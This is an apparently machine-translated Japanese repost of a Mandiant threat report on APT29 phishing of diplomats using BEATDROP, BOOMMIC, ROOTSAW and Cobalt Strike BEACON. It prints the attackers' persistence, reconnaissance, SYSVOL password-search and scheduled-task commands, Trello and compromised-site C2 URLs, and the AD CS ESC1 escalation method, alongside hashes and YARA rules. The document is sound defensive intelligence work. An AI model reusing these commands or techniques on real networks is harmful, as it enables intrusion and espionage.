反対側からの Trello: APT29 フィッシング キャンペーンの追跡

2022 Campaign Timeline news

2021 年初頭以来、Mandiant はヨーロッパ、南北アメリカ、およびアジアの外交機関を標的とした大規模な APT29 フィッシング キャンペーンを追跡してきました。このブログ投稿では、2022 年に BEATDROP と BOOMMIC という 2 つの新しいマルウェア ファミリが特定されたことに関連する最近の観察結果と、アトラシアンの Trello サービスの改造と悪用によって検出を回避しようとする APT29 の取り組みについて説明します。

APT29 は、Mandiant が少なくとも 2014 年から追跡しているロシアのスパイ グループであり、Foreign Intelligence Service (SVR) によって後援されている可能性があります。この最近の活動の外交中心の標的は、ロシアの戦略的優先事項および歴史的な APT29 標的と一致しています。 Mandiant は以前、2022 年 4 月に最近 APT29 に統合された複数のクラスター UNC2652 および UNC2542 でこの侵入活動を追跡しました。一部の APT29 活動は、Microsoft によって公にNobeliumと呼ばれています。

概要

2022 年 1 月中旬から、Mandiant は外交機関を標的とした APT29 フィッシング キャンペーンを検出し、対応しました。調査中に、Mandiant は BEATDROP および BOOMMIC ダウンローダーの展開と使用を特定しました。このキャンペーンが特定された直後、Mandiant は、一連のフィッシング ウェーブを通じて複数の追加の外交および政府機関を標的とする APT29 を発見しました。

APT29 によって送信されたフィッシング メールは、さまざまな大使館に関連する行政通知を装い、合法的だが盗用されたメール アドレスを利用してメールを送信し、アトラシアンの Trello サービスをコマンド アンド コントロール (C2) に送信しました。これらのフィッシング メールは、2021 年の以前の Nobelium フィッシング キャンペーンと似ていて、外交機関を標的にし、ROOTSAW (一般に EnvyScout として知られている) を使用して追加のペイロードを配信し、Firebase または DropBox を C2 に悪用していました。 Trello、Firebase、DropBox などの正当な Web サービスの悪用は、検出や修復を困難にする試みである可能性があります。

2022 Campaign Timeline
図 1: 2022 年のキャンペーン タイムライン

2022 年 2 月に APT29 が、サードパーティのクラウド サービスを使用して BEACON を取得する BEATDROP の展開から、共同利用されたインフラストラクチャに依存するより単純な BEACON ドロッパーに移行したときに、運用上の変化が観察されました。以降のセクションでは、最新のフィッシング キャンペーンで APT29 が使用するツールだけでなく、戦術、テクニック、手順についても取り上げます。

2022 年に特定されたキャンペーン攻撃のライフサイクル
図 2: 2022 年に特定されたキャンペーン攻撃のライフサイクル

初期アクセス

被害者の環境にアクセスするために、APT29 は、大使館の最新情報を装ったスピア フィッシング メールを送信しました。これらのフィッシング メールは、他の外交機関からの正規の侵害されたメール アドレスを使用していました。 APT29 は、Mandiant が疑わしい受信者の大規模なリストを標的にしていましたが、これは主に公にリストされている大使館職員の連絡先でした。これらのフィッシング メールは、ROOTSAW として追跡される悪意のある HTML ドロッパーを使用しており、 HTMLスマグリングと呼ばれる手法を利用して、IMG または ISO ファイルを被害者のシステムに配信します。

Covid.html ファイルが添付された APT29 フィッシング ルアーの例
図 3: Covid.html ファイルが添付された APT29 フィッシング ルアーの例

ROOTSAW HTML ドロッパーを開くと、IMG または ISO ファイルがディスクに書き込まれます。 Windows 10 以降では、ダブルクリックするとイメージ ファイルがマウントされ、Windows エクスプローラーのフォルダーの内容としてイメージ ファイルが表示されます。この画像ファイルには、Windows ショートカット (LNK) ファイルと悪意のある DLL という 2 つの追加ファイルが含まれています。ユーザーが LNK ファイルをクリックすると、「Target」コマンドが通常どおり実行されます。このメカニズムは、LNK ファイルを開くように被害者を誘導し、悪意のある DLL を不注意に起動します。

マウントされた ISO ファイルなど、イメージ ファイル内に含まれるファイルには、報告されているように、ファイルがインターネットからダウンロードされたことを示す Zone.Identifier Alternate Data Stream (ADS) フラグ (いわゆる「web のマーク」)含まれません。ディディエ・スティーブンス著。これにより、ISO または IMG イメージ ファイルから開かれたファイルに対する Windows オペレーティング システムの警告メッセージが表示されなくなります。

悪意のある DLL または親フォルダーが表示されていない、Covid 関連の電子メール フィッシング メールの一部として配信された ISO ファイルの例。この場合、ルアー「Covid」LNK ショートカット ファイルによって参照されるように、DLL は rundll32.exe によって実行されます。
図 4: Covid 関連の電子メール フィッシング メールの一部として配信された ISO ファイルの例。悪意のある DLL や親フォルダーは表示されていません。この場合、ルアー「Covid」LNK ショートカット ファイルによって参照されるように、DLL は rundll32.exe によって実行されます。

このキャンペーンの初期段階で APT29 が利用した LNK は、2021 年のキャンペーンで特定されたものと複数の特徴を共有していました。これには、特定のアイコンの場所の使用や、マシン ID と MAC アドレスが含まれていました。 APT29 で使用されていることが確認された手法の 1 つは、ターゲット アプリケーションまたはドキュメントとは異なるアイコンを持つ LNK ファイル拡張子を使用して、ショートカットを起動するプログラムではなくドキュメントとして表示することでした。これにより、被害者は一見正当なドキュメントを開くようにだまされます。 Windows エクスプローラーの「ファイル拡張子の表示」が有効になっている場合でも、デフォルトでショートカット ファイルの LNK ファイル拡張子は非表示になっているため、ドキュメントではなくショートカットが開かれているという疑いがさらに低くなります。

図 5: LNK アイコン パス メタデータ

[icon_location] {'string': 'C:windowsSystem32imageres.dll'}

LNK の「ターゲット」は、rundll32.exe と DLL のエクスポートの 1 つを使用して DLL を実行します。

図 6: BEATDROP 悪意のある DLL の LNK 実行メタデータの例

[location_info] local_path: C:WindowsSystem32rundll32.exe

[command_line_arguments] string: trello.dll Trello

また、Mandiant は、悪意のある docx を利用して HTA ドロッパーを配信する APT29 を特定しました。これにより、ターゲット システムで BEATDROP が配信および実行され、別の同様のフィッシング キャンペーンが行われました。

APT29 BEATDROP 実行チェーン
図 7: APT29 BEATDROP 実行チェーン

BEATDROP は、C2 に Trello を利用する C で書かれたダウンローダーです。実行されると、BEATDROP はまず、独自のプロセスでシェルコードを実行する目的で、独自の「ntdll.dll」のコピーをメモリにマップします。 BEATDROP は、最初にRtlCreateUserThreadを指すNtCreateFileで中断されたスレッドを作成します。

これに続いて、BEATDROP は、ユーザー名、コンピューター名、および IP アドレスのシステムを列挙します。この情報は被害者 ID の作成に使用され、BEATDROP がその C2 から被害者ペイロードを保存および取得するために使用されます。被害者 ID が作成されると、BEATDROP は Trello に最初のリクエストを行い、現在の被害者がすでに侵害されているかどうかを識別します。被害者がすでに侵害されているかどうかを識別するプロセスは、次の URL からユーザー ID を取得するための GET 要求から始まります。

図 9: BEATDROP ユーザー ID URL

https://api.trello.com/1/members/me/boards?key=<redacted>&token=<redacted>

次に、BEATDROP は、図 9 の URL から受け取ったユーザー ID を使用して、現在のすべての被害者を含むユーザーに関連するボードを一覧表示します。

図 10: BEATDROP ユーザー ID ボードの URL

https://api.trello.com/1/boards/<user_id>/lists?key=<redacted>&token=<redacted>

BEATDROP は、被害ボードを列挙して、現在のターゲットがデータベースに存在するかどうかを識別します。現在の被害者がそうでない場合、BEATDROP は、ホストから列挙されたデータを使用して被害者をデータベースに追加する POST 要求を作成します。

図 11: BEATDROP 被害者エントリの例

{

"id": "<varies>",

"name": "usernamencomputernamenip_address",

"closed": false,

"pos": 0.5,

"softLimit": null,

"idBoard": "<redacted>",

"subscribed": false

}

被害者が特定されるかデータベースに追加されると、BEATDROP は現在のターゲットの被害者ボードを収集するリクエストを送信します。

図 12: BEATDROP 被害者ボードの URL

https://api.trello.com/1/lists/<list_id>/cards?key=<redacted>&token=3<redacted>

次に、BEATDROP は応答を列挙して、現在の被害者にペイロードが存在するかどうかを判断します。その場合、BEATDROP は、最終的なペイロードを取得するための URL を決定する要求を送信します。最終的な URL は、応答として AES 暗号化されたペイロードを配信します。

図 13: BEATDROP 被害者アタッチメント ボードの URL

https://api.trello.com/1/cards/<redacted>/attachments?key=<redacted>&token=<redacted>

図 14: BEATDROP の最終ペイロード URL

https://trello.com/1/cards/<redacted>/attachments/<redacted>/download/<payload name>

前述の Trello API へのリクエストのほとんどでは、URL パラメーターとして挿入されたキーとトークンで十分に Trello API から情報を取得できます。ただし、ダウンロード API を使用する場合、Trello は BEATDROP サンプルにも埋め込まれているヘッダーを使用する必要があります。

図 15: BEATDROP 認証ヘッダー

Authorization: OAuth oauth_consumer_key="<redacted>", oauth_token="<redacted>"

初期の BEATDROP サンプルの分析により、マルウェアが C2 と通信する際に興味深いユーザー エージェントを利用していることが判明しました。最初のユーザー エージェント文字列は Apple iPad に関連していましたが、Mandiant は後の BEATDROP サンプルで、より一般的に観察される Windows ユーザー エージェント文字列を使用するように TTP が変化していることを確認しました。

図 16: 最初の BEATDROP ユーザー エージェント文字列

Mozilla/5.0 (iPad; CPU OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/604.1

シェルコードをメモリに書き込む BEATDROP
図 17: メモリにシェルコードを書き込む BEATDROP
マップされた NTDLL のスレッドを再開する BEATDROP
図 18: マップされた NTDLL のスレッドを再開する BEATDROP

BEATDROP は、APT29 がその活動を難読化し、永続的なアクセスを維持するための継続的な取り組みの理想的な例です。 BEATDROP を利用して外交機関を標的とするフィッシングが何度も発生した後、Mandiantは他の研究者とともに、外交機関に対する最新のキャンペーンで APT29 が BEATDROP から新しい C++ BEACON ローダーに移行していることを特定しました。 BEATDROP が機能の面でグループに価値を提供しなくなった可能性や、検出を回避する目的で定期的にツールを変更する運用 TTP を反映している可能性など、いくつかのシナリオでツールの変化を説明できます。

足場を固める

ペイロードを配信および実行するための BEATDROP の展開が成功した後、APT29 は BOOMMIC を利用して環境内に足場をさらに確立することが観察されました。 BOOMMIC (Microsoft では VaporRage とも呼ばれる) は、C で記述されたシェルコード ダウンローダーであり、C2 に使用される共同選択されたインフラストラクチャと HTTP 経由で通信します。 APT29 は、正規の Java バイナリである jucheck.exe による、変更された version.dll の DLL サイド ローディングを介して BOOMMIC を実行しました。

APT29 は、BEATDROP の実行に成功した後、数分以内に BOOMMIC を展開しました。このグループは、悪意のある BOOMMIC DLL javafx_font.dll (363a95777f401df40db61148593ea387) を 2 つの追加ファイルとともに展開しました。

  • jucheck.exe (da24b2783758ff5ccc2d0f5ebcc2a218)
  • バージョン.dll (8bb3d91b666813372e66903209bd45fd)

BOOMMIC を実行する前に、APT29 は「Java Update」のレジストリ キーを介して持続性を作成し、version.dll と BOOMMIC ペイロードを含むディレクトリから jucheck.exe を実行することが確認されました。

図 19: BOOMMIC パーシステンス

reg add "HKCUsoftwareMicrosoftWindowsCurrentVersionRun" /v "Java Update" /t REG_SZ /d "c:users<redacted>appdatalocalJavajucheck.exe"

次に、APT29 は wmic 経由で jucheck.exe を実行し、DLL サイド ローディングに基づいて BOOMMIC をロードして実行しました。

図 20: BOOMMIC の APT29 実行

wmic process call create "c:users<redacted>appdatalocalJavajucheck.exe"

Version.dll と jucheck.exe はどちらも、BOOMMIC の起動に使用される実行チェーンの重要な部分です。 Jucheck.exe は、アップデートのチェックに使用される正規の Java バイナリです。このファイルは、実行時に version.dll をロードします。 Version.dll は、署名された正当な Windows DLL の署名されていない変更されたコピーであり、通常は %SYSTEMROOT%System32 にありますが、PE ヘッダーは保持されています。改ざんされた version.dll には、javafx_font.dll から悪意のある機能をインポートする追加のインポートが追加されました。

version.dll インポートの CFF エクスプローラ ビュー。元の DLL を左に、変更された DLL を右に、悪意のある DLL のインポート テーブルに追加の javafx_font.dll を追加
図 21: version.dll インポートの CFF エクスプローラー ビュー。左側が元の DLL、右側が変更された DLL であり、追加の javafx_font.dll が悪意のある DLL のインポート テーブルに追加されています。

version.dll が BOOMMIC をインポートすると、BOOMIC の DllMain 関数も実行されます (図 22 参照)。

BOOMMIC DLLMain
図 22: BOOMMIC DLLMain

ディレクトリ内に変更された version.dll が存在しない場合、jucheck.exe を実行しても BOOMMIC は実行されません。

BOOMMIC は、VaporRage に関する Microsoft の以前の報告と同様に、複数のエクスポート機能を含んでいます。 363a95777f401df40db61148593ea387 の場合、BOOMMIC の主要な機能を含むエクスポート関数は Java_com_sun_javafx_font_PrismFontFactory_getLCDContrastWin32 です。

BOOMMICの輸出
図 23: BOOMMIC エクスポート

BOOMMIC の主な機能は、シェルコード ペイロードをターゲットのメモリにダウンロードしてロードすることです。実行されると、BOOMMIC は最初にプロセス jucheck.exe の下で実行されているかどうかをチェックします。実行されていない場合、プログラムは終了します。プログラム全体の BOOMMIC 識別文字列の分析は、0x0C と 0x4D でバイトを交互に、XOR を使用してエンコードされます。

jucheck.exe の BOOMMIC チェック
図 24: jucheck.exe の BOOMMIC チェック

マルウェアが jucheck.exe の下で実行されている場合、侵害されたターゲットのホスト ID が作成され、ペイロードをダウンロードするリクエストで使用されます。ホスト ID は、ターゲット システムの DNS ドメインと従来のアカウント名を 16 進数でエンコードすることによって作成されます。これらの値は、<dns_domain>_<account_name> の形式でフォーマットされます。その後、<dns_domain> と <account_name> の両方が、各文字の序数に 3 を追加してエンコードされます。

BOOMMIC ホスト ID の作成
図 25: BOOMMIC ホスト ID の作成

ホスト ID が作成されると、BOOMMIC はこの値を、リクエストの一部として使用されるペイロードのダウンロードと実行に使用される関数に渡します。次に、BOOMMIC は GET リクエストを C2 に送信して、シェルコード ペイロードをダウンロードして実行します。 Mandiant は、侵害された Web サイトを BOOMMIC の C2 として利用する APT29 を観測しました。ペイロードが正常にダウンロードされると、BOOMMIC XOR がデコードし、メモリ内で実行します。

図 26: 侵害された Web サイトを C2 として悪用する BOOMMIC GET リクエストの例

https://maybyrne[.]co[.]uk/modules/mod_search/mod_global_search.php?bin_data=<host_id>&Article=AboutMe

権限の昇格

Mandiant は、アクセスが確立されると、APT29 がドメイン内で権限をエスカレートするために迅速に移動することを観察しました。複数のケースで、APT29 は最初のフィッシング ペイロードの実行から 12 時間以内にドメイン管理者を取得することができました。 APT29 は、さまざまな TTP を利用して権限を昇格させていることが確認されました。ある例では、APT29 が、Pass the Ticket 攻撃やオフライン クラッキングに使用される可能性が最も高い Kerberos チケットを含むファイルを書き込んでいることが確認されました。

また、APT29 は、不適切に構成された証明書テンプレートを悪用して、管理者ユーザーになりすますことを可能にすることも確認されました。ここから、APT29 は追加の悪意のある証明書を作成し、それを使用して環境内を横方向に移動しました。 SpecterOps のレポートで詳しく説明され、2021 年 8 月の Blackhat で発表されたこの最近の手法により、攻撃者は環境内で権限を迅速にエスカレートできますが、悪意のある証明書。

Mandiant が調査した実際の侵害で APT29 が使用した手法の概要は次のとおりです。

Microsoft は、証明書の登録、失効、および信頼のセットアップを提供するための「Active Directory Certificate Services」 (AD CS) を提供しています。内部 HTTPS サイト、VPN、証明書ベースの認証などの証明書を発行するために必要な「公開鍵インフラストラクチャ」(PKI) を設定できます。

AD CS は、新しい証明書を生成するときに使用される「証明書テンプレート」のセットアップを有効にします。 APT29 によって悪用され、SpecterOps によって ESC1 として参照される特定の設定ミスにより、権限の低いユーザーがドメイン管理者に直接エスカレートできます。この特定の悪用のケースに関連して、証明書テンプレートの 3 つの異なる設定が重要です。

  • テンプレートを使用して証明書を要求できるユーザー
  • テンプレートからの証明書の許可された使用法は何ですか
  • サブジェクト代替名 (SAN) は許可されていますか?
  • 発行要件は何ですか

複数のケースで、攻撃者は、すべてのユーザーが証明書を要求できることを意味する「ドメイン ユーザー」登録権限、証明書を使用してユーザーを認証できることを意味する「クライアント認証」を含む使用法、およびサブジェクトと SAN を許可する設定を持つ証明書テンプレートを見つけました。リクエスタによって指定されます(「ENROLLEE_SUPPLIES_SUBJECT」)。

初期認証用の公開キー暗号化 (PKINIT) Kerberos フローを使用して Kerberos で Active Directory への認証を実行する場合、ドメイン コントローラーは、認証プリンシパルのユーザー プリンシパル名 (UPN) に対して SAN を検証します。したがって、任意の SAN を指定できると、証明書の要求者はドメイン内の任意のプリンシパルになりすますことができます。

これらの設定により、攻撃者は権限の低いアカウントで証明書を要求し、SAN フィールドで権限の高いアカウントを指定して、この証明書を認証に使用することができました。前述の証明書の作成以外の実際的な手順は、Ticket Granting Ticket (TGT) の要求で証明書を使用し、その TGT を認証に使用することです。

リンクされた SpectreOps ドキュメントには、この 1 つの例の他に、さらに詳細な技術と追加の技術が記載されています。

偵察

APT29 がアクセスを確立すると、Mandiant はグループがホストと Active Directory 環境の広範な偵察を行っていることを確認しました。このグループは、認証情報を探してホスト上で偵察を行っていることも観察されました。

このグループが最初に採用したコマンドの 1 つは、windows net コマンドでした。 APT29 は、net コマンドを広く使用してユーザーとグループを列挙することが確認されました。

図 27: APT29 net recon コマンド

net use

net localgroup Administrators

net1 localgroup Administrators

net user /domain <redacted>

net group /domain "Enterprise Admins"

APT29 は、nltest を使用してドメイン上のドメイン コントローラーを列挙する Mandiant によっても観察されました。 

図 28: APT29 nltest 偵察

C:WINDOWSsystem32cmd.exe /C nltest /dclist:DOMAIN

APT29 が観測した注目すべき TTP の 1 つは、SYSVOL に保存されているパスワードの探索です。この手法は、グループ ポリシーの基本設定の一部として保存されているパスワードに依存しています。この方法で保存されたパスワードは、簡単に解読できる既知のスキームを使用して暗号化されます。 Microsoft はMS14-025でこれを修正し、「cpassword」を使用してグループ ポリシーの設定を構成するオプションを削除しました。パッチは 2014 年に発行されましたが、パッチが適用されていないか、パッチがパスワードを含む既存のグループ ポリシー設定を削除しないため (Microsoft が行っているように)、グループ ポリシー設定にパスワードが保存されているシステムにまだ遭遇する可能性があります。既存の機能を壊すリスクはありません)。

図 29: APT29 GPP パスワード データマイニング

C:WINDOWSsystem32cmd.exe /C findstr /S /I cpassword DOMAINsysvolDOMAINpolicies*.xml

横移動

Mandiant は、APT29 が環境内で素早く横方向に移動することを観察しました。ラテラル ムーブメントを容易にするために、APT29 は、特権ユーザーのなりすましに使用される悪意のある証明書と SMB BEACON の組み合わせに依存していました。

APT29 は、グループが SMB BEACON をステージングし、複数のシステムに展開しているのが確認された後、最初に横方向の移動が観察されました。リモート システムでの BEACON のステージングを容易にするために、APT29 はグループが特権ユーザーになりすますことを可能にする悪意のある証明書を利用しました。 SMB BEACON が展開されている最初の証拠は、BOOMMIC の実行が成功した直後に、zip ファイルのローカル ステージングを通じて確認されました。

図 30: SMB BEACON ステージング

powershell -c "expand-archive SharedReality.zip SharedReality.dll"

SharedReality.dll を分析した結果、Go 言語で記述され、埋め込まれた BEACON ペイロードを復号化して実行するメモリのみのドロッパーであることが判明しました。 BEACON ペイロードは、次の名前付きパイプを介して通信する SMB BEACON であることが確認されました。

図 31: SharedReality.dll 名前付きパイプ

.pipeSapIServerPipes-1-15-21-07836

その後、APT29 が特権ユーザーのなりすましを利用して、SharedReality.dll を複数のシステムの一時ディレクトリにコピーすることが確認されました。その後、このグループは、SharedRealitySvcDLC という名前のスケジュールされたタスクを介してそれを展開し、それをインストールして実行しました。スケジュールされたタスクを実行した後、タスクはすぐに削除されました。

図 32: BEACON スケジュール タスク

schtasks /create /s <REDACTED> /tn "SharedRealitySvcDLC" /ru SYSTEM /tr "C:WindowsSystem32rundll32.exe c:WindowsTempSharedReality.dll warn_fwalk_maxunicode" /sc onstart

プレゼンスを維持し、ミッションを完了する

前述のように、Mandiant は、このグループがスケジュールされたタスク、実行キー、悪意のある証明書、メモリ内バックドアを広く使用していることを観察しており、場合によってはシステムごとに複数回使用されています。これらの手法とツールの使用は、APT29 が環境内でアクセスを維持しようとする複数の手段を表しています。これは、APT29 が Kerberos チケットを含む zip ファイルを書き込んでいるのを確認した Mandiant によって特定されたアクティビティ、および悪意のある証明書の作成とおそらくエクスポートによってさらに裏付けられます。

APT29 が使用する TTP の全体像は、これらのキャンペーンにおける APT29 の目標が、標的とされた外交機関の被害者ネットワーク内でスパイ目的の情報収集を容易にするために長期アクセスの複数の手段を確立することであるという評価を裏付けています。

展望と影響

この最新のスピア フィッシングの波は、APT29 が世界中の政府から外交および外交政策の情報を取得することに継続的に関心を持っていることを示しています。 BEATDROP から BEACON への移行は、注目すべきパターンに従うスピア フィッシング キャンペーンを介して、TTP を変更し、BEACON 配信メカニズムを変更しようとするグループの取り組みをさらに浮き彫りにします。

Mandiant は、新しいツールとインフラストラクチャを使用して検出を妨害する APT29 によるフィッシング活動の持続的な波を予想しています。これらのキャンペーンは、ロシアの戦略的利益を支援するというグループの任務の一環として、外交使節や外交政策情報に向けられる可能性が高い一方で、ウクライナへの侵攻と西側、ヨーロッパ、ロシア間の緊張の高まりが、その激しさと緊急性に影響を与える可能性があります。収集操作の。

マルウェアの説明

このフィッシング キャンペーン中に、Mandiant は次のマルウェア ファミリを利用する APT29 を観察しました。

  • ビートドロップ:
    • BEATDROP は、アトラシアンのプロジェクト管理サービス Trello for C&C を使用する C 言語で書かれたダウンローダーです。 BEATDROP は、Trello を使用して被害者の情報を保存し、実行する AES 暗号化シェルコード ペイロードを取得します。次に、BEATDROP は、ダウンロードされたペイロードを中断されたプロセスに挿入して実行します。
    • 実行時に、BEATDROP は ntdll.dll のコピーをメモリにマップし、独自のプロセスでシェルコードを実行します。次に、サンプルは、スレッドが NtCreateFile を指す RtlCreateUserThread で中断されたスレッドを作成します。サンプルは実行をシェルコードに変更し、スレッドを再開します。シェルコード ペイロードは Trello から取得され、被害者ごとにターゲットにされます。ペイロードが取得されると、Trello から削除されます。
  • ブームミック
    • BOOMMIC は、一般に VaporRage と呼ばれ、HTTPS を介して通信する C 言語で書かれたシェルコード ダウンローダーです。シェルコード ペイロードは、ターゲット ドメインとアカウント名から生成されたエンコードされた host_id を使用するハードコードされた C2 から取得されます。 BOOMMIC XOR は、ダウンロードされたシェルコード ペイロードをメモリにデコードして実行します。
    • BOOMMIC は、悪意のある javafx_font.dll BOOMMIC ペイロードを実行する DLL サイドローディングを介して jucheck.exe によって実行されます。
  • ルートソー
    • ROOTSAW は一般に EnvyScout と呼ばれており、埋め込まれた ISO/IMG ファイルを XOR および Base64 でデコードしてさらに実行する Javascript を含むドロッパー HTML ファイルです。
  • ビーコン:
    • BEACON は、Cobalt Strike フレームワークの一部である C/C++ で記述されたバックドアです。サポートされているバックドア コマンドには、シェル コマンドの実行、ファイル転送、ファイルの実行、およびファイル管理が含まれます。 BEACON は、キーストロークやスクリーンショットをキャプチャしたり、プロキシ サーバーとして機能したりすることもできます。 BEACON は、システム クレデンシャルの収集、ポート スキャン、およびネットワーク上のシステムの列挙を行うこともできます。 BEACON は、HTTP または DNS を介して C2 サーバーと通信します。

テクニカル指標

マルウェアファミリー

MD5

SHA256

ルートソー

2f712cdae87cdb7ccc0f4046ffa3281d

207132befb085f413480f8af9fdd690ddf5b9d21a9ea0d4a4e75f34f023ad95d

ルートソー

4ae0b6be7f38e2eb84b881abf5110edc

538d896cf066796d8546a587deea385db9e285f1a7ebf7dcddae22f8d61a2723

ルートソー

628799f1f8146038b488c9ed06799b93

a896c2d16cadcdedd10390c3af3399361914db57bde1673e46180244e806a1d0

ビートドロップ

6ac740ebf98df7217d31cb826a207af6

2f11ca3dcc1d9400e141d8f3ee9a7a0d18e21908e825990f5c22119214fbb2f5

ビートドロップ

a0b4e7622728c317f37ae354b8bc3dbb

8bdd318996fb3a947d10042f85b6c6ed29547e1d6ebdc177d5d85fa26859e1ca

ビートドロップ

e031c9984f65a9060ec1e70fbb84746b

95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f

ブームミック

363a95777f401df40db61148593ea387

8cb64b95931d435e01b835c05c2774b1f66399381b9fa0b3fb8ec07e18f836b0

ビーコン – DLL

37ea95f7fa8fb51446c18f9f3aa63df3

6ee1e629494d7b5138386d98bd718b010ee774fe4a4c9d0e069525408bb7b1f7

BEACON – ISOドロッパー

97fa94e60ccc91dcc6e5ee2848f48415

3cb0d2cff9db85c8e816515ddc380ea73850846317b0bb73ea6145c026276948

BEACON – LNKランチャー

da1787c54896a926b4893de19fd2554c

fdce78f3acfa557414d3f2c6cf95d18bdb8de1f6ffd3585256dfa682a441ac04

ビーコン – DLL

8716cec33a4fea1c00d57c4040945d9e

e8da0c4416f4353aad4620b5a83ff84d6d8b9b8a748fdbe96d8a4d02a4a1a03c

 

BEACON – ISOドロッパー

4af2a3d07062d5d28dad7d3a6dfb0b4b

34e7482d689429745dd3866caf5ddd5de52a179db7068f6b545ff51542abb76c

 

BEACON – LNKランチャー

c23f1af6d1724324f866fe68634396f9

e5de12f16af0b174537bbdf779b34a7c66287591323c2ec86845cecdd9d57f53

 

検出

rule M_APT_Downloader_BEATDROP

{

meta:

author = "Mandiant"

description = "Rule looking for BEATDROP malware"

strings:

$ntdll1 = "ntdll" ascii fullword

$ntdll2 = "C:WindowsSystem32ntdll.dll" ascii fullword nocase

$url1 = "api.trello.com" ascii

$url2 = "/members/me/boards?key=" ascii

$url3 = "/cards?key=" ascii

condition:

uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 1MB and all of them

}

import "pe"

rule M_APT_Downloader_BOOMMIC {

  meta:

    author = "Mandiant"

    description = "Rule looking for BOOMMIC malware"

       strings:

       $loc_10001000 = { 55 8B EC 8D 45 0C 50 8B 4D 08 51 6A 02 FF 15 [4] 85 C0 74 09 B8 01 00 00 00 EB 04 EB 02 33 C0 5D C3 }

       $loc_100012fd = {6A 00 8D 55 EC 52 8B 45 D4 50 6A 05 8B 4D E4 51 FF 15 }

       $func1 = "GetComputerNameExA" ascii

       $func2 = "HttpQueryInfoA" ascii

       condition:

       uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 1MB and

       (

              ($loc_10001000 and $func1) or

              ($loc_100012fd and $func2)

       )

}

謝辞

この調査を可能にしてくれた Incident Response コンサルタント、マネージド ディフェンス レスポンダー、FLARE リバース エンジニア、Mandiant Intelligence の同僚に感謝します。さらに、Geoff Ackerman、Mathias Frank、Bart Vanautgaerden、および Barry Vengerik のテクニカル レビューに感謝します。

MITRE ATT&CK TTP

防御回避

  • T1027:難読化されたファイルまたは情報

  • T1027.005:ツールからのインジケーターの削除

  • T1055:プロセス インジェクション

  • T1070:ホストでのインジケータの削除

  • T1070.001: Windows イベント ログをクリアする

  • T1070.004:ファイルの削除

  • T1070.006:タイムスタンプ

  • T1078:有効なアカウント

  • T1112:レジストリの変更

  • T1134:アクセス トークンの操作

  • T1134.001:トークンのなりすまし/盗難

  • T1140:ファイルまたは情報の難読化解除/デコード

  • T1202:間接コマンド実行

  • T1218.005:ムシュタ

  • T1218.011: Rundll32

  • T1497:仮想化/サンドボックスの回避

  • T1497.001:システムチェック

  • T1564.003:隠しウィンドウ

  • T1574.008:検索順ハイジャックによるパス傍受

  • T1620:リフレクティブ コードの読み込み

実行

初期アクセス

資源開発

発見

  • T1007:システム サービス ディスカバリ

  • T1012:レジストリのクエリ

  • T1016:システム ネットワーク構成の検出

  • T1016.001:インターネット接続の検出

  • T1033:システム所有者/ユーザーの発見

  • T1046:ネットワーク サービスのスキャン

  • T1049:システム ネットワーク接続の検出

  • T1057:プロセス検出

  • T1069:アクセス許可グループの検出

  • T1069.001:ローカル グループ

  • T1069.002:ドメイン グループ

  • T1082:システム情報の検出

  • T1083:ファイルとディレクトリの検出

  • T1087:アカウントの検出

  • T1087.001:ローカル アカウント

  • T1087.002:ドメイン アカウント

  • T1482:ドメイン信頼発見

  • T1518:ソフトウェア検出

コレクション

横移動

資格情報へのアクセス

コマンドと制御

持続性

影響

  • T1489:サービス停止

  • T1529:システムのシャットダウン/再起動

流出

  • T1030:データ転送サイズの制限

木, 04/28/2022 – 10:21

参照: https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns

Comments

Copied title and URL